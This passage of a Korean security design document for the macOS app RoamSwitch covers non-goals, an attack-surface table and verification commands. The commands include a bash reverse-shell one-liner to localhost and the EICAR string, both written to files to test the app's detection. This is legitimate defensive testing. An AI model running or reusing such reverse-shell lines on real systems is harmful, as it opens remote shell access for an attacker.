DockerEventGuard, 1.8.9~, Pro·기본 꺼짐·알림만). - 붙여넣은 텍스트뿐 아니라 폴더 단위의 재귀적 스캔에도 대응하는 기밀 정보・API 키 유출 감사(
SecretLeakAuditor, 1.8.9부터 폴더 스캔 지원, 완전 로컬 처리).
우리가 하지 않기로 결정한 것
- 바이러스 백신을 대체하지 않습니다. ClamAV 및 XProtect는 보조 도구로 사용됩니다. RoamSwitch 자체는 범용 악성 코드 탐지기가 아닙니다.
- EndpointSecurity entitlement는 신청하지 않는 방침입니다. 개인 계정(Apple Developer Program Individual)의 심사 통과율이 낮다는 점, 그리고 진정한 pre-exec 차단(
ES_EVENT_TYPE_AUTH_EXEC등)이 필요한 기능은 이 방침이 바뀌지 않는 한 닫힌(closed) non-goal로 취급한다는 점을 미리 밝혀둡니다. 실행 자체를 막을 수는 없는 대신, entitlement 없이도 실용적으로 충분한 범위의 post-hoc(사후) 탐지(정적 시그니처 탐지, 자동 실행 모니터링, ClickFix 방지)를 구현했습니다. - 보증은 아닙니다. 심층 방어 스택의 한 레이어이지 "랜섬웨어를 완전히 방지"하는 것이 아닙니다. 마케팅 카피도 이 전제하에 검토됩니다.
- 이미 손상된 루트나 커널은 보호할 수 없습니다. 공격자가 이미 루트를 가지고 있는 경우 도우미의 pf 규칙도 제거할 수 있습니다.
- L2 무결성 자체를 복원하지는 않습니다. 예방적 ARP/NDP 핀은 처음 사용할 때 신뢰됩니다. 연결하기 전에 공격자가 이미 존재하는 경우 스푸핑된 MAC을 고정할 수 있습니다. VPN 터널(§5)은 이러한 가정을 원하지 않을 때의 해답입니다. L2가 중독된 경우에도 콘텐츠는 암호화되고 킬 스위치는 일반 텍스트 유출을 방지합니다. 이는 기업 DHCP 스누핑 또는 동적 ARP 검사를 대체하지 않습니다.
- VPN 서버를 제공하지 않습니다. 터널 기능은 사용자가 제공하는 WireGuard 구성을 사용합니다. RoamSwitch는 VPN 공급자가 되지 않습니다.
RoamSwitch를 설치하면 공격 표면이 추가됩니다.
| 공격면 | 함유 방식 |
|---|---|
루트로 실행되는 LaunchDaemon 및 해당 서비스(com.tetsuharu.RoamSwitch.Helper) |
작업면은 HelperProtocol(§3 표)에 고정되어 있습니다. 임의 명령 채널이 없습니다. 연결은 audit_token을 사용하는 코드 서명 요구 사항에 따라 승인됩니다. |
RoamSwitch.app 자체가 손상되면 도우미의 모든 작업이 공격자에게 전달됩니다. |
강화된 런타임이 활성화되고 앱에 불필요한 권한이 부여되지 않습니다. 아웃바운드 트래픽은 위의 8개 경로로 제한됩니다(6번째는 사용자가 VPN을 구성한 경우에만, 7번째는 RoamSwitch Sensor 페어링을 활성화한 경우에만 해당). 우리는 이를 제3자에게 검토하도록 할 계획입니다. |
| 도우미가 생성하는 시스템 바이너리 경로 | /sbin/pfctl과 같은 절대 경로는 PATH에 의존하지 않고 직접 지정됩니다. 인수도 하드 코딩되어 있습니다(포트 번호, DNS 문자열, ARP IP/MAC 쌍 및 VPN 엔드포인트 IP 제외 - 모두 형식 검증됨). |
링크 가드 재작성 /etc/hosts(setLinkGuardSinkhole) |
쓰기는 구분된 관리 섹션으로 제한됩니다. 그 밖의 줄은 그대로 보존됩니다. 도메인은 정규화 및 검증되고, IP 및 정크는 삭제되고, 목록은 60,000으로 제한되며, 파일은 임시 파일 + 원자 대체를 통해 작성됩니다. 로컬 전용 판정 엔진에 의해 결정된 싱크홀 명확한 사례(위협 피드 목록 또는 브랜드 이름 동형어체)만 결정합니다. 차단 목록 자체는 서명이 검증된 위협 피드(피드 전용 키)에서 나옵니다. |
Link Guard의 위협 피드 가져오기(수신 전용 일일 GET) |
쿼리 문자열과 식별자가 없는 정적 파일 가져오기입니다. 매니페스트와 피드 본문은 모두 Ed25519로 검증되었으며 검증에 실패한 가져오기는 삭제됩니다(서명되지 않은 데이터로 대체되지 않음). "자동 업데이트: 끄기"는 경로를 완전히 제거합니다. |
예방 ARP/NDP 핀(lockGatewayARP) |
"게이트웨이, IPv6 라우터, 온링크 DNS"에 대한 인접 캐시 항목만 고정됩니다. 전달된 IP/MAC 쌍은 형식 검증을 거쳐 요청 세트에 대해 조정됩니다(자체적으로 항목을 추가하지 않음). 신뢰할 수 없는 네트워크에서만 실행됩니다. Pro는 기본적으로 꺼져 있습니다. 최초 사용 시 신뢰 한도는 §11 "하지 않기로 결정한 사항"에 명시되어 있습니다. |
VPN 터널(wireGuardImport/Up/…, 홈브루 wireguard-tools) |
.conf은 도우미에 의해 0600에 저장됩니다. 엔드포인트 IP는 앱에 의해 확인되고 도우미에게 전달됩니다(도우미는 임의의 호스트 이름을 확인하지 않습니다). 터널의 목적지와 내용은 사용자가 제어할 수 있습니다. wireguard-tools이 설치되어 있지 않으면 이 기능이 비활성화됩니다. Pro는 기본적으로 꺼져 있습니다. 킬 스위치는 PFRulesetCoordinator(§4)을 거칩니다. |
| 시스템 상태를 LLM(혼란된 대리인)에 전달하는 MCP 서버 | 쓰기 API가 구현되지 않은 읽기 전용입니다. URL 확인은 오프라인입니다. 설정 도메인은 읽기 전용으로 참조됩니다. |
| 업데이트 경로 하이재킹 | EdDSA 서명 확인(SUPublicEDKey) 및 번들 공증 티켓. 앱캐스트는 HTTPS를 통해 이루어집니다. |
부록 A
이 문서에 명시된 모든 내용은 다음 명령을 사용하여 분산 아티팩트에 대해 확인할 수 있습니다.
서명 및 공증
# Developer ID 서명과 팀 ID
codesign -dvvv /Applications/RoamSwitch.app 2>&1 | grep -E 'Authority|TeamIdentifier|flags'
# 공증 티켓이 staple 되어 있는지
stapler validate /Applications/RoamSwitch.app
spctl -a -t exec -vvv /Applications/RoamSwitch.app
# 번들 헬퍼 / MCP 서버의 서명
codesign -dvvv /Applications/RoamSwitch.app/Contents/MacOS/RoamSwitchHelper
codesign -dvvv /Applications/RoamSwitch.app/Contents/MacOS/RoamSwitchMCPServer
권한(네트워크 전송 권한 없음)
codesign -d --entitlements :- /Applications/RoamSwitch.app/Contents/MacOS/RoamSwitchHelper
codesign -d --entitlements :- /Applications/RoamSwitch.app/Contents/MacOS/RoamSwitchMCPServer
# → 빈 entitlements 딕셔너리. app-sandbox / network client 키가 없습니다.
트래픽 측정
# tcpdump을 함께 실행하여 일반 사용 중 통신이 발생하지 않음을 확인합니다
sudo tcpdump -i any -n 'host not 127.0.0.1' and 'not port 53'
# 라이선스 인증·업데이트 확인·ClamAV 업데이트 이외의 트래픽이 없음
프로세스별 속성을 통해 더욱 엄격하고 자동화된 확인을 수행하려면 다음을 참조하세요.
roamswitch-support/audit/의 rs-zerotel-audit.sh
국방 아키텍처 및 침투 테스트(5개 방어 경계)
# XPC 인가 경계, pf Air-Gap 우선순위, 포트 노출 탐지, MCP Read-Only, ARP 감시를 일괄 자동 검증
git clone https://github.com/lafine1211/roamswitch-support
cd roamswitch-support/audit
./rs-defense-audit.sh all
macOS VM의 실시간 침투 테스트 및 다계층 방어 감사: RESULTS-DEFENSE-2026-08-30
DNS 위협 방지(Quad9 악성코드 및 C2 차단) 확인
# Quad9 공식 위협 차단 검증용 테스트 도메인을 조회
nslookup test.dns9.quad9.net
# → ** server can't find test.dns9.quad9.net: NXDOMAIN이 되어 이름 해석이 차단되어야 함
웹&메일 다운로드 가드(ClamAV 실시간 탐지) 검증
# 무해한 안티바이러스 업계 표준 테스트 문자열(EICAR)을 Downloads에 생성
echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > ~/Downloads/eicar_test.com
# → FSEvents 감지로 ClamAV가 즉시 스캔하며, 알림은 표시되지 않고 "EICAR 테스트 서명 감지(무해)"가
# 알림 기록에 남아야 함. EICAR는 업계 표준 테스트 파일이며 실제 위협이 아니므로,
# 격리도 차단도 되지 않고 파일은 그대로 남습니다(실제 악성코드 샘플을 둔 경우에만 격리 관리자로 이동).
정적 시그니처 탐지(EndpointSecurity 불필요) 동작 확인
## 공개된 공격 기법 문서에 실린 정통적인 리버스 셸 한 줄 명령(무해함, 실행하지 않음)
echo 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1' > ~/Downloads/rs_test.sh
## → ClamAV가 설치되어 있지 않아도 "위험한 다운로드 파일을 격리했습니다"라는 알림과 함께
## Quarantine 폴더로 즉시 격리되어야 함(ClamAV의 시그니처 DB에 의존하지 않음)
새로운 자동 실행 모니터링(PersistenceMonitorGuard) 동작 확인
# 원시 스크립트 인터프리터를 직접 호출하는 무해한 LaunchAgent 생성(실행하지 않음)
cat > ~/Library/LaunchAgents/com.example.selfcheck.plist <<'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0"><dict>
<key>Label</key><string>com.example.selfcheck</string>
<key>ProgramArguments</key><array><string>/bin/bash</string><string>-c</string><string>echo hi</string></array>
</dict></plist>
EOF
# → 수 초 이내에 "새로운 자동 실행 등록을 감지했습니다"라는 알림이 표시되어야 함. 확인 후 삭제:
rm ~/Library/LaunchAgents/com.example.selfcheck.plist
링크 가드(피싱 연결 차단)
# 관리 섹션이 기록되어 있는지(Pro + 기본 모드라면 BEGIN/END 2줄)
sudo grep -c 'RoamSwitch link guard' /etc/hosts
# 섹션 내용과 sinkhole 항목 수
sudo sed -n '/BEGIN RoamSwitch link guard/,/END RoamSwitch link guard/p' /etc/hosts | head -4
sudo sed -n '/BEGIN RoamSwitch link guard/,/END RoamSwitch link guard/p' /etc/hosts | grep -c '^0\.0\.0\.0'
# 실제로 차단되는지(섹션 내 항목 하나로 확인. 무해함)
D=$(sudo sed -n '/BEGIN RoamSwitch/,/END RoamSwitch/p' /etc/hosts | awk '/^0\.0\.0\.0/{print $2; exit}')
dscacheutil -q host -a name "$D" # → ip_address: 0.0.0.0(이름 해석이 차단됨)
# 메뉴 → "링크 보호" → "끄기"로 위 섹션이 사라지는지도 확인
수신 전용 위협 피드(서명 확인됨)
# 공개 피드와 매니페스트(누구나 가져와서 검증 가능)
curl -s https://lafine.net/updates/v1/manifest # version/generated/threatfeed{...}
curl -sI https://lafine.net/updates/v1/manifest.sig # → text/plain
# 전송되는 것은 쿼리·쿠키·식별자가 없는 GET뿐입니다. tcpdump을 함께 실행해 확인할 수 있습니다
예방적 ARP/NDP 잠금(§5, 1.7.5+)
# 예방적 잠금이 활성화된 상태에서 신뢰할 수 없는 네트워크에 연결 → permanent 항목 확인
arp -an | grep -i permanent # 게이트웨이 등의 IP가 (permanent)로 나열됨
ndp -an | grep -i 'P ' # IPv6 쪽(P = permanent)
sudo cat "/Library/Application Support/RoamSwitch/gateway_arp_lock.json" # 현재 고정 중인 IP→MAC 집합
# 메뉴에서 고정 해제 → 위 항목이 사라져야 함
VPN 터널 + 킬 스위치(§5, 1.7.6+)
# wireguard-tools(Homebrew)를 전제로 함
brew list wireguard-tools >/dev/null && echo "wireguard-tools: OK"
# 신뢰할 수 없는 네트워크에서 VPN을 활성화 → 터널이 확립되기 전에는 pf가 킬 스위치 상태
sudo pfctl -sr | grep -E 'block drop all|pass .*(utun|udp)' # block drop all + 제한적인 pass quick
# 터널이 확립된 후(wg-quick up 완료)
wg show # handshake / transfer가 동작 중
route -n get default | grep interface # → utunN(기본 경로가 터널)
# VPN 비활성화 → 킬 스위치 해제, pf가 원래대로 돌아옴
특권적인 도우미 그 자체
# 등록된 LaunchDaemon
sudo launchctl print system/com.tetsuharu.RoamSwitch.Helper
# 현재 로드된 pf 규칙(Air-Gap / 포트 가드의 실제 상태)
sudo pfctl -sr
# 헬퍼의 상태 디렉터리
ls -la "/Library/Application Support/RoamSwitch/"
MCP 서버의 응답(오프라인 확인)
BIN=/Applications/RoamSwitch.app/Contents/MacOS/RoamSwitchMCPServer
printf '%s\n' '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{}}' \
'{"jsonrpc":"2.0","id":2,"method":"tools/list"}' | "$BIN"
# serverInfo와 5개 도구의 정의가 반환됩니다. 네트워크 연결은 발생하지 않습니다
MCP 서버의 소스 및 테스트
git clone https://github.com/lafine1211/roamswitch-mcp
cd roamswitch-mcp
swift build -c release # 출시된 바이너리와 동일한 소스
swift test # 단위·적대적 입력·stdio·뮤테이션 퍼징
# SECURITY_TESTING.md에 테스트 내용과 발견된 문제가 기재되어 있습니다
장치 식별자
# 토큰에 바인딩되는 원본 값(전송되는 것은 salted SHA-256뿐)
ioreg -d2 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'